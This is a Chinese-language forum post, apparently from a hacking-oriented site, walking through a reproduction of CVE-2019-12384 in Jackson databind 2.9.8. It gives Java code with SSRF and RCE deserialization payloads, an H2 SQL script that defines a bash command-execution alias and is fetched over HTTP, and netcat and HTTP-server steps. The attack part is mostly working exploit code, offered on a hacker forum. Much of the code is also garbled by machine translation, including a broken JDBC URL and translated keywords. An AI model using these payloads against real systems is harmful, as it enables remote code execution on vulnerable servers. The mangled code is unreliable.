H

CVE-2019-12384:Jackson反序列化漏洞复现

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

CVE-2019-12384:Jackson反序列化漏洞复现​

分析​

根据杰克逊开发人员提到的信息,触发此杰克逊漏洞需要满足以下要求,因此该漏洞被评为中等风险:
目标应用程序接收由不信任客户发送的JSON数据
目标应用程序使用多态类型处理方法来处理Java.lang.Object类型的属性;
目标应用程序包含至少可以在Java类Path中使用的“小工具”类。在此漏洞中,有很多依赖的第三方Jar套件。除了杰克逊(Jackson)自己的罐装软件包外,还需要登录核和H2。

环境搭建​

本文使用的第三方库是:
杰克逊马云惹不起马云戴塔宾德2.9.8
Jackson-Annotations-2.9.8.Jar
杰克逊核2.9.8.Jar
logback-core-1.3.0-alpha4.jar
H2 1.4.199
http://www.mvnrepository.com上下载.

漏洞代码​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
包com.baiyang;
导入com.fasterxml.jackson.databind.objectMapper;
导入com.fasterxml.jackson.databind.SerializationFeature;
导入org.h2.driver;
公共类Main {
公共静态void main(string [] args){
尝试{
class.forname('org.h2.driver')。newInstance();
} catch(异常E){
e.printstacktrace();
}
system.out.println('映射');
//此有效载荷用于SSRF复制
String SSRF='[\'ch.qos.logback.core.db.DriverManagerConnectionSource\', {\'url\':\'jdbc:h2:tcp://127.0.0.1:4444/~/hacker\'}]';
//此有效载荷用于复制RCE
字符串rce='[\'ch.qos.logback.core.db.drivermanagerconnectionsource \',{\'url \': \'jdbc:h23360h2333:mem33333: 'http://localhost/inject.sql'\'}]';
ObjectMapper mapper=new ObjectMapper();
mappper.enabledefaultTypy();
mapper.configure(serializationfeature.fail_on_empty_beans,false);
system.out.println('serialization');
对象obj=null;
尝试{
//替换SSRF或RCE以测试SSRF或RCE漏洞的有效载荷
obj=mapper.ReadValue(rce,java.lang.object.class);
} catch(异常E){
e.printstacktrace();
}
system.out.println('objectified');
尝试{
System.out.println('Stringified:' + mapper.writeValueasString(obj));
} catch(异常E){
e.printstacktrace();
}
}
}

构建步骤​

本文生成了一个关于想法的项目
创建一个新的Java命令行项目
用类替换上述代码
单击红色框中的图标以输入项目结构设置
20190726153817.png-water_print

请按照以下步骤将下载的外部JAR软件包导入项目文件
20190726153826.png-water_print

攻击流程​

将以下SQL脚本文件保存为Inject.sql
1
2
3
4
5
6
创建别名Shellexec作为$$ String Shellexec(字符串CMD)抛出Java.io.io.ioexception {
string [] command={'bash','-c',cmd};
java.util.scanner s=new Java.util.scanner(runtime.getRuntime()。exec(command).getInputStream())。
返回s.hasnext()? s.next():''; }
$$;
致电Shellexec('open /applications/calculator.app')
注意:在本文中,RCE在MacOS下执行。如果在其他环境中,请自己替换Call Shellexec中的命令。
执行本地执行Python2 -M SimpleHttpserver 80,在本地启动HTTP服务

RCE payload测试​

用RCE替换Java文件中的有效载荷,编译并运行Java程序
20190726154643.png-water_print

SSRF payload测试​

执行NC -L -VV 4444,以促进SSRF结果的观察
用SSRF替换Java文件中的有效载荷,编译并运行Java程序
20190726155103.png-water_print

参考​

 
后退
顶部